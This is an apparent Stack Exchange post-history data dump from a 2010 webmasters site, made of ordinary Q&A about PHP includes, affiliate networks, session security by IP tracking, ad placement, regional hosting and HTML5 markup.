  <row Id="5317" PostHistoryTypeId="2" PostId="2740" RevisionGUID="c2eefeff-a77e-4f2b-a9df-1ceb2b10d157" CreationDate="2010-09-02T17:34:37.650" Text="I have a php document and am using include to include my drop down navigation.&#xD;&#xA;The navigation is an external html with external js and css elements.&#xD;&#xA;&#xD;&#xA;Code is:&#xD;&#xA;&lt;div id=&quot;nagivation&quot;&gt;&#xD;&#xA;    &lt;?php include (&quot;navigation.html&quot;);?&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;  &lt;!--end #navigation!--&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately my drop down works great in it's html page, but once brought into my main page, none of the hovers work.&#xD;&#xA;&#xD;&#xA;In my navigation.html, I have included:&#xD;&#xA;script type=&quot;text/javascript&quot; src=&quot;js/ecmNavigation.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&lt;link href=&quot;css/ecmNavigation.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&lt;link href=&quot;css/ECM_HelpFile.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&#xD;&#xA;in my template.php, I have included:&#xD;&#xA;&lt;link href=&quot;css/ECM_HelpFile.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&lt;link href=&quot;css/ecmNavigation.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Any suggestions? I need to keep the navigation in a global document, but have not been able to use iframe or obkect in order to embed as the whole menu will not display as it is confined to the size of iframe and object. (the menu is huge)&#xD;&#xA;" />
  <row Id="5318" PostHistoryTypeId="1" PostId="2740" RevisionGUID="c2eefeff-a77e-4f2b-a9df-1ceb2b10d157" CreationDate="2010-09-02T17:34:37.650" Text="PHP include drop down navigation" />
  <row Id="5319" PostHistoryTypeId="3" PostId="2740" RevisionGUID="c2eefeff-a77e-4f2b-a9df-1ceb2b10d157" CreationDate="2010-09-02T17:34:37.650" Text="&lt;php&gt;&lt;navigation&gt;" />
  <row Id="5320" PostHistoryTypeId="5" PostId="2740" RevisionGUID="b7001087-2745-4b86-9480-534a1445c8c7" CreationDate="2010-09-02T17:41:59.237" UserId="1253" Comment="Added code formatting" Text="I have a php document and am using include to include my drop down navigation.&#xD;&#xA;The navigation is an external html with external js and css elements.&#xD;&#xA;&#xD;&#xA;Code is:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;nagivation&quot;&gt;&#xD;&#xA;        &lt;?php include (&quot;navigation.html&quot;);?&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;      &lt;!--end #navigation!--&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately my drop down works great in it's html page, but once brought into my main page, none of the hovers work.&#xD;&#xA;&#xD;&#xA;In my navigation.html, I have included:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;js/ecmNavigation.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;link href=&quot;css/ecmNavigation.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;    &lt;link href=&quot;css/ECM_HelpFile.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&#xD;&#xA;in my template.php, I have included:&#xD;&#xA;&#xD;&#xA;    &lt;link href=&quot;css/ECM_HelpFile.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;    &lt;link href=&quot;css/ecmNavigation.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Any suggestions? I need to keep the navigation in a global document, but have not been able to use iframe or obkect in order to embed as the whole menu will not display as it is confined to the size of iframe and object. (the menu is huge)&#xD;&#xA;" />
  <row Id="5321" PostHistoryTypeId="2" PostId="2741" RevisionGUID="83d4d6eb-3fd2-440c-b5fc-c36c227fcb06" CreationDate="2010-09-02T18:44:33.660" UserId="67" Text="Commission Junction cj.com &lt;http://cj.com&gt;&#xD;&#xA;&lt;David Johnston&gt; linkshare.com &lt;http://linkshare.com&gt;&#xD;&#xA;hydra network&#xD;&#xA;Click Bank&#xD;&#xA;Click Booth&#xD;&#xA;Click Speed" />
  <row Id="5322" PostHistoryTypeId="16" PostId="2741" RevisionGUID="83d4d6eb-3fd2-440c-b5fc-c36c227fcb06" CreationDate="2010-09-02T18:44:33.660" UserId="-1" />
  <row Id="5323" PostHistoryTypeId="5" PostId="2741" RevisionGUID="847312f2-cac0-4cad-a4d4-58d63b8ac3f4" CreationDate="2010-09-02T18:50:33.770" UserId="67" Comment="Accidentally hit return before finishing the editing" Text="RE: What is an affiliate network? Answer: [en.wikipedia.org/wiki/Affiliate_network][1]&#xD;&#xA;&#xD;&#xA;1. [Commission Junction][2]&#xD;&#xA;2. [Linkshare.com][3] &#xD;&#xA;3. [Hydra Network][4] &#xD;&#xA;4. [Click Bank][5] &#xD;&#xA;5. [Click Booth][6]&#xD;&#xA;6. [Click Speed][7]&#xD;&#xA;7. [Adworkz][8]&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Affiliate_network&#xD;&#xA;  [2]: http://cj.com&#xD;&#xA;  [3]: http://linkshare.com&#xD;&#xA;  [4]: http://www.hydragroup.com/&#xD;&#xA;  [5]: http://www.clickbank.com/&#xD;&#xA;  [6]: http://www.clickbooth.com/&#xD;&#xA;  [7]: http://www.clickspeed.com/&#xD;&#xA;  [8]: http://www.adworkz.com/" />
  <row Id="5324" PostHistoryTypeId="2" PostId="2742" RevisionGUID="d2821aa1-af2f-4a44-b327-e886277c3fa0" CreationDate="2010-09-02T19:33:42.600" UserId="1074" Text="If I was a betting man, I'd say that the links you provided inside your navigation html are trying to go relative to the URL of the page your're including it from.  To test, change the links to absolute (http://www...) and see if they work...if they do, then you know what the problem is.&#xD;&#xA;&#xD;&#xA;If the above test works, you've got choices....leave it absolute, in which case you know where it's going to come from every time, no matter where you include from.  Or, you could include the JS from the main file that does the include, which certainly could be appropriate depending on your structure and coding style.  Finally, you could change over to .php on the nav file and dynamically condition the URL prior to including it." />
  <row Id="5325" PostHistoryTypeId="2" PostId="2743" RevisionGUID="567c3205-5e9b-472c-8cf7-123296b28925" CreationDate="2010-09-02T19:52:26.383" UserId="1812" Text="I am new to web development.  I have done a lot of studying on my own and created some projects on my own.  I have reached the point where I feel that my skill will not progress much without more practice experience.  I know that it is one thing to build a project to my specks and it is quite another to meet someone else's requirements.  I have been working in ASP.NET and have learned quite a bit of HTML, CSS JavaScript.  In my day job a work regularly with SQL and SQL Server.  If you have any suggestion it would be much appreciated." />
  <row Id="5326" PostHistoryTypeId="1" PostId="2743" RevisionGUID="567c3205-5e9b-472c-8cf7-123296b28925" CreationDate="2010-09-02T19:52:26.383" UserId="1812" Text="Ways for a bigginer to network out and find customers for web development." />
  <row Id="5327" PostHistoryTypeId="3" PostId="2743" RevisionGUID="567c3205-5e9b-472c-8cf7-123296b28925" CreationDate="2010-09-02T19:52:26.383" UserId="1812" Text="&lt;web-development&gt;&lt;asp.net&gt;" />
  <row Id="5328" PostHistoryTypeId="5" PostId="2742" RevisionGUID="2d3c04cc-5bdd-4e74-b8ea-c7297da3d2e6" CreationDate="2010-09-02T19:59:25.027" UserId="1074" Comment="added 437 characters in body; added 1 characters in body" Text="If I was a betting man, I'd say that the links you provided inside your navigation html are trying to go relative to the URL of the page your're including it from.  To test, change the links to absolute (http://www...) and see if they work...if they do, then you know what the problem is.&#xD;&#xA;&#xD;&#xA;When I'm confused about includes, I'll load the page and view source.  There, you can click on the links and see if they return the included file.  You'd be surprised how many times they fail without error.  I suspect that the second set of includes you did in the .php file are giving it the css it needs, but the javascript file it needs is what's causing the entire thing to fail.  Clicking links in source will tell you for sure.&#xD;&#xA;&#xD;&#xA;If the above tests works, you've got choices....leave it absolute, in which case you know where it's going to come from every time, no matter where you include from.  Or, you could include the JS from the main file that does the include, which certainly could be appropriate depending on your structure and coding style.  Finally, you could change over to .php on the nav file and dynamically condition the URL prior to including it." />
  <row Id="5329" PostHistoryTypeId="2" PostId="2744" RevisionGUID="bc5381d2-ea40-47d7-be4c-245e08e91449" CreationDate="2010-09-02T20:14:09.687" UserId="1603" Text="You could look into stuff like&#xD;&#xA;&#xD;&#xA;- Microsoft Web Platform Installer and WebMatrix (still in beta)&#xD;&#xA;- Content Management Systems&#xD;&#xA;- XSLT&#xD;&#xA;&#xD;&#xA;WebPI and WebMatrix are great tools to know for web devs. CMS’s are a very common tool to use when building content oriented websites and XSLT is imho a awesome tech for web development. If you are unfamiliar with XSLT it’s basically a transformation that can turn one XML structure (typically describing data) into another XML structure (typically xhtml).&#xD;&#xA;&#xD;&#xA;If you want to have a go at all the points above you can get started with WebPI and WebMatrix at http://docs.composite.net/C1/TeamBlog.aspx/2010/08/13/The-WebMatrix-experience and once you have it running you can work with XSLT at http://docs.composite.net/C1/XSLT.aspx.&#xD;&#xA;" />
  <row Id="5330" PostHistoryTypeId="2" PostId="2745" RevisionGUID="4926b4e0-70c5-4263-881e-358f9330c771" CreationDate="2010-09-02T20:20:01.263" UserId="1204" Text="While &quot;standard salaried rate plus x%&quot; may be correct generally, you might have to lower your rates for the first few jobs if your prospective employers are (or may become) aware of your relative inexperience.&#xD;&#xA;&#xD;&#xA;Don't lower yourself too far though. If a prospective employer points out what they could get a salaried worker for, ensure that they are aware of the extra rights/benefits a salaried worker would have that they would not find convenient. Also, never fall for the &quot;if you do this for free or at/below cost I can recommend you to other people&quot; line - the people you are likely to get recommended to will also expect the work to be done at or below cost." />
  <row Id="5331" PostHistoryTypeId="5" PostId="2744" RevisionGUID="d13c3bc0-f6f6-4c78-9c21-45e6baeb069e" CreationDate="2010-09-02T20:21:08.773" UserId="1603" Comment="added 60 characters in body" Text="You could look into stuff like&#xD;&#xA;&#xD;&#xA;- Microsoft Web Platform Installer and WebMatrix (still in beta)&#xD;&#xA;- Content Management Systems&#xD;&#xA;- XSLT&#xD;&#xA;&#xD;&#xA;WebPI and WebMatrix are great tools to know for web devs. CMS’s are a very common tool to use when building content oriented websites and XSLT is imho a awesome tech for web development. If you are unfamiliar with XSLT it’s basically a transformation that can turn one XML structure (typically describing data) into another XML structure (typically xhtml).&#xD;&#xA;&#xD;&#xA;If you want to have a go at all the points above you can get started with WebPI and WebMatrix at http://docs.composite.net/C1/TeamBlog.aspx/2010/08/13/The-WebMatrix-experience and once you have it running you can work with XSLT at http://docs.composite.net/C1/XSLT.aspx.&#xD;&#xA;&#xD;&#xA;We would love to get feedback from you on your experience." />
  <row Id="5332" PostHistoryTypeId="4" PostId="2743" RevisionGUID="fb7a9113-4fe1-423f-ab48-3cd55b78bb6b" CreationDate="2010-09-02T20:32:04.607" UserId="221" Comment="edited title" Text="Ways for a beginner to network out and find customers for web development." />
  <row Id="5333" PostHistoryTypeId="2" PostId="2746" RevisionGUID="74c5fb6c-50dd-4777-aa24-1ff8481b7f60" CreationDate="2010-09-02T22:47:22.970" UserId="1454" Text="There are a lot of questions on StackOverflow relating to session security / session hijacking, but there doesn't seem to be a really good solution to the problem. The three most common suggestions are as follows:&#xD;&#xA;&#xD;&#xA;1. Track the users IP address as part of their $_SESSION data, and possibly invalidate a session if it changes. The downside is that lots of users have dynamic IP addresses, so you risk invalidating a user seemingly at random (their perspective).&#xD;&#xA;&#xD;&#xA;2. Same as 1., but using a User Agent. Two issues here: there may not be a UA to track, and they can change during browser upgrades, etc.&#xD;&#xA;&#xD;&#xA;3. Second cookie, with a unique token. The problem here is that if an attacker gets a hold on the normal session cookie, they're very likely to be able to get a hold on your secondary token as well.&#xD;&#xA;&#xD;&#xA;So, with these three options it seems that IP address is the best option, since you're guaranteed to be passed one and its independent of physical security (and if the user is physically compromised, you lose regardless). With that in mind, I have a couple questions relating to IP address changes:&#xD;&#xA;&#xD;&#xA;1. How often would a users IP address really change under normal conditions. I have DSL at home, with the usual dynamic IP concerns, and according to gmail my IP hasn't changed in days. AFAIK, this only really happens when the modem cycles anyway, right? That seems like a rare enough event that it *might* be ok to invalidate the session.&#xD;&#xA;&#xD;&#xA;2. I think I remember Jeff saying in one of the SO podcasts that they did something similar, though it was possibly for something else. The idea was that using the first two (I believe) octets of an IP address could be considered &quot;close enough&quot; in some circumstances. This allows a user to move around on the same ISP, but the system would notice if the user was suddenly in another ISPs range. Is this a viable tactic?" />
  <row Id="5334" PostHistoryTypeId="1" PostId="2746" RevisionGUID="74c5fb6c-50dd-4777-aa24-1ff8481b7f60" CreationDate="2010-09-02T22:47:22.970" UserId="1454" Text="Variable IPs: How variable are they? Best practices for tracking." />
  <row Id="5335" PostHistoryTypeId="3" PostId="2746" RevisionGUID="74c5fb6c-50dd-4777-aa24-1ff8481b7f60" CreationDate="2010-09-02T22:47:22.970" UserId="1454" Text="&lt;security&gt;&lt;cookie&gt;&lt;tracking&gt;&lt;ip-address&gt;" />
  <row Id="5336" PostHistoryTypeId="2" PostId="2747" RevisionGUID="adbba711-94e6-4cb1-af70-7e0957fc8a80" CreationDate="2010-09-02T22:52:12.057" UserId="1074" Text="Freelance and volunteering to help out with non-profits are a great way to learn new skills.  You're right, you can only learn so much on your own.  When you're under the gun, you learn a LOT more. Bonus points if you can find a place with a knowledgeable, patient mentor who will guide you and suggest improvements to your work.&#xD;&#xA;&#xD;&#xA;I worked for several years in light-challenge type jobs where I was on my own to get the job done...then I consulted with an international bank...instant code reviews, change management, strategy meetings, and tight timeframes....I sweated it out for quite a few months before I really got comfortable.  Between that and my freelancing (which I often take at a lower cost in exchange for the opportunity to tackle a challenge the RIGHT way rather than the cheap way) I've made huge progress over the last few years.  It's a good feeling knowing you know how to kick out &quot;correct&quot; code.  Doing it, I might add, still takes discipline.&#xD;&#xA;&#xD;&#xA;Also, I can't say enough how important it is to &quot;cross train&quot;  I'm lucky in that my degree is in design, but my profession is really development.  Cross over to the &quot;darkside&quot; of UI and interaction development, because it's amazing how important it is and how poorly many developers do it.  Tackle Jquery or Javascript or the like just to learn.  It looks great on a resume.&#xD;&#xA;&#xD;&#xA;Good luck.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5337" PostHistoryTypeId="2" PostId="2748" RevisionGUID="39d7f796-d75d-4fac-aa24-13d83896f0cf" CreationDate="2010-09-02T23:26:36.160" UserId="1817" Text="I have a facebook app page, and a separate facebook business profile page.&#xD;&#xA;&#xD;&#xA;The business page was created, but not by me, some time before the app and its page were created. **Is there any way to connect the two pages, or import the content and friends from one to the other**?&#xD;&#xA;&#xD;&#xA;The older profile page has some content; a set of friends and wall posts that I don't want to lose. It was created before I had a chance to set up an app page. Since the app was created more recently, it does not have any content posted to it.&#xD;&#xA;&#xD;&#xA;I intended the app page to eventually hold some advertising info for my main website itself (non-canvas, just using fb for the connect api etc). The idea being that as people sign up on my site through facebook's OAuth, I could use the graph api to post to their wall.&#xD;&#xA;&#xD;&#xA;The wall posts are working as expected but naturally they are directing users to the facebook app page, which has no content, friends etc. I'd prefer to be directed to the original business page, where the party is really happening.&#xD;&#xA;&#xD;&#xA;Now it seems that the two pages are completely separate; what would I need to do to direct the users to the business page?" />
  <row Id="5338" PostHistoryTypeId="1" PostId="2748" RevisionGUID="39d7f796-d75d-4fac-aa24-13d83896f0cf" CreationDate="2010-09-02T23:26:36.160" UserId="1817" Text="Linking a facebook app's page to an existing facebook business page" />
  <row Id="5339" PostHistoryTypeId="3" PostId="2748" RevisionGUID="39d7f796-d75d-4fac-aa24-13d83896f0cf" CreationDate="2010-09-02T23:26:36.160" UserId="1817" Text="&lt;facebook&gt;" />
  <row Id="5340" PostHistoryTypeId="2" PostId="2749" RevisionGUID="78406ebe-b0c2-4d87-9fdc-b3ff10771aeb" CreationDate="2010-09-03T00:08:05.927" UserId="1514" Text="I have room in the header of my website for ads. I've tried 480x60 banner ads and text ads from several networks, relevant to the subject matter of the website and every type of ad has performed very poorly. Skyscraper ads in the left nav perform much better. Are there best practices or research that deals with the best type of ad to place in the header of a website? Or, is there a common ratio that relates performance of banner ads vs. skyscraper ads?" />
  <row Id="5341" PostHistoryTypeId="1" PostId="2749" RevisionGUID="78406ebe-b0c2-4d87-9fdc-b3ff10771aeb" CreationDate="2010-09-03T00:08:05.927" UserId="1514" Text="What kind of ad format best for site header?" />
  <row Id="5342" PostHistoryTypeId="3" PostId="2749" RevisionGUID="78406ebe-b0c2-4d87-9fdc-b3ff10771aeb" CreationDate="2010-09-03T00:08:05.927" UserId="1514" Text="&lt;advertising&gt;&lt;performance&gt;&lt;banners&gt;" />
  <row Id="5343" PostHistoryTypeId="2" PostId="2750" RevisionGUID="ca78e336-bc2f-4946-9a6f-7d7f1599945d" CreationDate="2010-09-03T00:11:50.690" UserId="138" Text="I'm not 100% sure that this belongs on webmasters, but I'll answer it anyway.&#xD;&#xA;&#xD;&#xA;1. A users IP address only changes when their connection goes offline and comes back online. I have a dynamic IP at home, but I've had it for a month because that's how long it's been since I rebooted my router. Some ISPs force a disconnection every *n* days, some don't. It's impossible to tell, but in this day and age an IP address generally lasts for a few days. THAT SAID, they may have logged onto your website right before their IP changes (power outage, tripped over the network cable, etc) so it's not safe to assume this at all.  &#xD;&#xA;  &#xD;&#xA;  The big issue you'll find here is if you're targeting mobile users. Then all bets are off if they're using their 3G or HSPDA networks to access your site.&#xD;&#xA;&#xD;&#xA;2. The first two octets is probably pretty safe to use, but in Australia we have an ISP called BigPond who are (unfortunately) the largest in the country. Their IP addresses they allocate vary wildly, and there's no way you guarantee that their first two octets are going to be the same.&#xD;&#xA;&#xD;&#xA;All of that said, I have never, ever, ever, ever been logged out of my Stack Exchange sites on my iPhone, home network, work laptop (even when I go to different sites or use HSPDA). So whatever they're doing works.&#xD;&#xA;&#xD;&#xA;Also, I've never heard of using the user-agent as an authentication token. That could only be one *part* of the authentication process.&#xD;&#xA;&#xD;&#xA;I think you'll find that having one or two session cookies is generally suffice, unless you're doing something so *incredibly secure* that you know there's going to be serious hijacking attempts against your site." />
  <row Id="5344" PostHistoryTypeId="2" PostId="2751" RevisionGUID="502f50a4-d22e-4958-9f63-232dac1654dd" CreationDate="2010-09-03T03:50:50.897" UserId="1074" Text="For reference, clickthrough rates on targeted email campaigns can often see success rates in the low single digits.  Pull up your traffic (absolute uniques) subtract yourself and your clients from the mix, then multiply by .05.  That should give you a pretty good sampling of how low the success rate can be.  If you are using Google Adwords as your delivery mechanism, you can also track via their control panel.&#xD;&#xA;&#xD;&#xA;Google makes so darned much money because:&#xD;&#xA;&#xD;&#xA;a) they have insane traffic hitting their sites&#xD;&#xA;b) they deliver on a mind-bending array of media and categories&#xD;&#xA;c) they broker the deals as opposed to just waiting for a viewer to click on their sites&#xD;&#xA;d) they tailor the ad specifically to what the user is looking at&#xD;&#xA;&#xD;&#xA;Generalizing heavily here, UI studies say things placed high on the page are generally going to score well in the measure of the user's attention.  That's not to say that other positions wouldn't work better...that's your challenge as the designer to figure out.  A visually attractive ad (and site) will help.  As will quality content on your own site that invites the user to linger and be exposed to the ads.&#xD;&#xA;&#xD;&#xA;Personally, if I'm placing an ad with a focus on max revenue, I'm going to make it stand apart from other elements so as not to lose it in the flow.  I find when I'm browsing if I see a tight grouping of ads, I immediately get away.  The only exception would be text ads which I might consider &quot;hiding&quot; among real text content to &quot;sneak&quot; some unintended extra clicks.  I feel a little conflicted about trying to trick my user, however.  &#xD;&#xA;&#xD;&#xA;It's a tough business trying to make it solely on pay-per-click these days.  Good luck." />
  <row Id="5345" PostHistoryTypeId="2" PostId="2752" RevisionGUID="6e0ad3b6-015e-4252-ad8e-278ed0d95947" CreationDate="2010-09-03T08:14:45.787" UserId="221" Text="IP addresses can only change if the device that was issued the IP address has been disconnected and reconnected to the Internet. It will however depend heavily on your usage patterns and your ISP if and how often this occurs. Some ISP with dynamic IPs will nevertheless try to always issue you the same IP, while others (perhaps trying to get extra fees for static IPs) will issue you a new one even if you only drop off their network momentarily.&#xD;&#xA;&#xD;&#xA;In my experience a change in IP address is a sufficiently infrequent occurrence to that it would not be overkill to invalidate a session over it. Note, however that unless your site is dealing with something sensitive this should still be avoided.&#xD;&#xA;&#xD;&#xA;Take this site for example, what is the worst that could happen if someone hijacks my account? A little vandalism (that the community will quickly squash), maybe some lost reputation. The effects are minor to the user and the advantage little to the attacker. Therefore it would be overly aggressive to employ this measure here.&#xD;&#xA;&#xD;&#xA;Conversely, my Google account could give an attacker access to all manner of private data (including -- as bonus -- access to this site). It is therefore natural for Google to be more cautious and (consequently) I frequently asked to confirm my identity there (although I'll admit that I have no idea what criteria they use)." />
  <row Id="5346" PostHistoryTypeId="2" PostId="2753" RevisionGUID="bfc1689a-ca5d-4034-915a-b1ab6926a1d5" CreationDate="2010-09-03T08:20:21.873" UserId="590" Text="1. My home IP address hasn't changed for several months.  I know that with Shaw Communications (cable ISP in Canada) my IP address only changes when my external facing mac address changes (mac address of router or a computer directly connected to the modem) OR I don't use my internet for a few days.  &#xD;&#xA;&#xD;&#xA; Not too long ago I was using a dial up connection and I noticed that my IP address changed every time i reconnected, although it didn't change all that much.  I'm not sure if this would be simular for DSL and Wireless handsets.  &#xD;&#xA;&#xD;&#xA; Another thing to consider would be session hijacking from the same local network.  I'm not sure if there is really anything that can be done about that. Some schools and larger companies do have lots of computers on a single external IP. (some isp's too maybe?  )&#xD;&#xA;&#xD;&#xA;2.  I'm not too sure I can answer if two octets are safe to use.  I would be interested to see some data on a large userbase and how much their IP address's change.  " />
  <row Id="5347" PostHistoryTypeId="2" PostId="2754" RevisionGUID="28894508-a8ad-4e5c-a0ad-b219c38784b9" CreationDate="2010-09-03T08:28:05.097" UserId="1829" Text="If you like the [asynchronous Google Analytics script][1], check out Mathias Bynens optimization to it [here][2]. Obviously, you should keep up to date on whether Google changes the snippet significantly - but for now, his optimizations yields a [40% speedup][3] (for me) over Google's version of the same script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1555/is-there-any-way-to-improve-the-speed-of-google-adsense-analytics/1558#1558&#xD;&#xA;  [2]: http://mathiasbynens.be/notes/async-analytics-snippet&#xD;&#xA;  [3]: http://jsperf.com/async-analytics-snippet" />
  <row Id="5348" PostHistoryTypeId="2" PostId="2755" RevisionGUID="fcb77fd6-dc32-4a79-939e-60369717f151" CreationDate="2010-09-03T08:46:13.113" UserId="1703" Text="Currently I have a web site that is hosted in the US, however there are people from all over the world that use it. Due to the site serving high bandwidth content, certain areas in the world experience a slower service than that in the US.&#xD;&#xA;&#xD;&#xA;The website relies heavily on all its content which is stored in a database and which is contributed to by its user base. Therefore the database content is always changing everyday.&#xD;&#xA;&#xD;&#xA;I have optimized the site for speed e.g. gzip, caching. &#xD;&#xA;&#xD;&#xA;  - Is it possible to setup the site on multiple hosts around the world and force users from certain regions to direct to their closest server? &#xD;&#xA;  - Is this possible?&#xD;&#xA;  - How would this be achieved?&#xD;&#xA;  - Are there any pitfalls to watch out for?&#xD;&#xA;  - Should I have separate domains for each area e.g. .com .co.uk etc or should I have: e.g. www.domain.com; www.domain.com/uk/ ?&#xD;&#xA;  - Do I have a database per host? A single one would still require the data to be fetched from a far away location.&#xD;&#xA;  - How would I keep the databases up-to-date?&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="5349" PostHistoryTypeId="1" PostId="2755" RevisionGUID="fcb77fd6-dc32-4a79-939e-60369717f151" CreationDate="2010-09-03T08:46:13.113" UserId="1703" Text="Running a single web site on multiple hosts across the world to improve regional performance" />
  <row Id="5350" PostHistoryTypeId="3" PostId="2755" RevisionGUID="fcb77fd6-dc32-4a79-939e-60369717f151" CreationDate="2010-09-03T08:46:13.113" UserId="1703" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="5351" PostHistoryTypeId="2" PostId="2756" RevisionGUID="d4586f9a-b87c-426a-8d1c-1d79ae49985f" CreationDate="2010-09-03T08:51:09.087" UserId="1830" Text="have you ever tried using a CDN content delivery network. this diminish the latency on lots of the content of your site. amazon has great deals on this. worth taking a look&#xD;&#xA;&#xD;&#xA;use the 3 C's&#xD;&#xA;Caching&#xD;&#xA;Compressing&#xD;&#xA;CDN" />
  <row Id="5352" PostHistoryTypeId="5" PostId="2755" RevisionGUID="df8fcac9-5d7a-43ca-b4a5-0ed500d8e42b" CreationDate="2010-09-03T10:06:31.207" UserId="1703" Comment="deleted 23 characters in body" Text="Currently I have a web site that is hosted in the US, however there are people from all over the world that use it. Due to the site serving high bandwidth content, certain areas in the world experience a slower service than that in the US.&#xD;&#xA;&#xD;&#xA;The website relies heavily on all its content which is stored in a database and which is contributed to by its user base. Therefore the database content is always changing everyday.&#xD;&#xA;&#xD;&#xA;I have optimized the site for speed e.g. gzip, caching. &#xD;&#xA;&#xD;&#xA;  - Is it possible to setup the site on multiple hosts around the world and force users from certain regions to direct to their closest server? &#xD;&#xA;  - How would this be achieved?&#xD;&#xA;  - Are there any pitfalls to watch out for?&#xD;&#xA;  - Should I have separate domains for each area e.g. .com .co.uk etc or should I have: e.g. www.domain.com; www.domain.com/uk/ ?&#xD;&#xA;  - Do I have a database per host? A single one would still require the data to be fetched from a far away location.&#xD;&#xA;  - How would I keep the databases up-to-date?&#xD;&#xA;&#xD;&#xA;Thanks for any help." />
  <row Id="5353" PostHistoryTypeId="2" PostId="2757" RevisionGUID="9145ed70-af85-4cbf-9d03-ce722e8434a2" CreationDate="2010-09-03T11:06:19.797" UserId="1273" Text="I'd like to *grok* the ultimate nature of `&lt;aside&gt;`, `&lt;section&gt;`, `&lt;article&gt;`.&#xD;&#xA;&#xD;&#xA;What is the best, most semantic structure of a blog page using HTML5 tags?&#xD;&#xA;&#xD;&#xA;Should I put the sidebar inside an `&lt;aside&gt;`? Or does this rather belong into a `&lt;section&gt;` (as `&lt;aside&gt;` should be used for advertisements, short quotes and such)?&#xD;&#xA;&#xD;&#xA;How should I present the main feature, the blog post? How do I use `&lt;article&gt;` correctly?&#xD;&#xA;&#xD;&#xA;How should I mark-up the article tags?" />
  <row Id="5354" PostHistoryTypeId="1" PostId="2757" RevisionGUID="9145ed70-af85-4cbf-9d03-ce722e8434a2" CreationDate="2010-09-03T11:06:19.797" UserId="1273" Text="What is the most semantic structure of a blog page using HTML5 tags?" />
  <row Id="5355" PostHistoryTypeId="3" PostId="2757" RevisionGUID="9145ed70-af85-4cbf-9d03-ce722e8434a2" CreationDate="2010-09-03T11:06:19.797" UserId="1273" Text="&lt;html5&gt;&lt;construction&gt;" />
  <row Id="5356" PostHistoryTypeId="2" PostId="2758" RevisionGUID="6ac05dbd-1948-4fb1-b542-79c04cbef138" CreationDate="2010-09-03T11:40:02.257" UserId="347" Text="I believe that you will need to rename your navigation file to navigation.php and then use&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;nagivation&quot;&gt;&#xD;&#xA;        &lt;?php include(&quot;navigation.php&quot;);?&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;to get what you are looking for. Most scripting languages will not include raw .html files. Also make sure there is not space between 'include' and '()' otherwise it will not execute. S a simple rename with no changes to what is inside should fix this.&#xD;&#xA;&#xD;&#xA;One last thing you should look at is including the .js file&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;js/ecmNavigation.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;after your css files instead of before. This should improve the download speed for your users." />
  <row Id="5357" PostHistoryTypeId="2" PostId="2759" RevisionGUID="69c7686d-4826-4975-9935-72c6b91d7b3f" CreationDate="2010-09-03T11:47:22.037" UserId="347" Text="My gut says no. Servers only send gzipped content when they receive the correct Accept-Encoding header from the browser. The header itself is not part of the cookie sent by the browser and so you will not be able to modify it. Servers do this to prevent sending a compressed file to a browser that doesn't support it and thus preventing the page from displaying correctly.&#xD;&#xA;&#xD;&#xA;Alternately you could do what it sounds like you already are doing and force it with server side code." />
  <row Id="5358" PostHistoryTypeId="2" PostId="2760" RevisionGUID="3fa6cdc9-f847-405e-b097-68a4f0cd38e5" CreationDate="2010-09-03T12:17:15.207" UserId="1489" Text="Have a look at [CMS Matrix][1] this site is great as you can compare side by side any CMS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cmsmatrix.org/" />
  <row Id="5359" PostHistoryTypeId="16" PostId="2760" RevisionGUID="3fa6cdc9-f847-405e-b097-68a4f0cd38e5" CreationDate="2010-09-03T12:17:15.207" UserId="-1" />
  <row Id="5360" PostHistoryTypeId="2" PostId="2761" RevisionGUID="2e244c05-3592-4a98-82d8-20b516e9ace8" CreationDate="2010-09-03T12:22:42.107" UserId="1834" Text="Design for higher browser resolutions but keep the most important area/content of your site within a smaller (for example: 760*y px) part that you can assign the highest priority regarding visibility. (&quot;If my site loads in a 800* browser window, this is what the visitor sees first before scrolling anywhere. Secondary content lies outside this area.&quot;)&#xD;&#xA;&#xD;&#xA;Btw, the answer also depends on the nature/content of your site and your expected audience. If you don't have access to exact stats, check out the most popular competitor sites in your chosen field and see what size they have optimized their design for." />
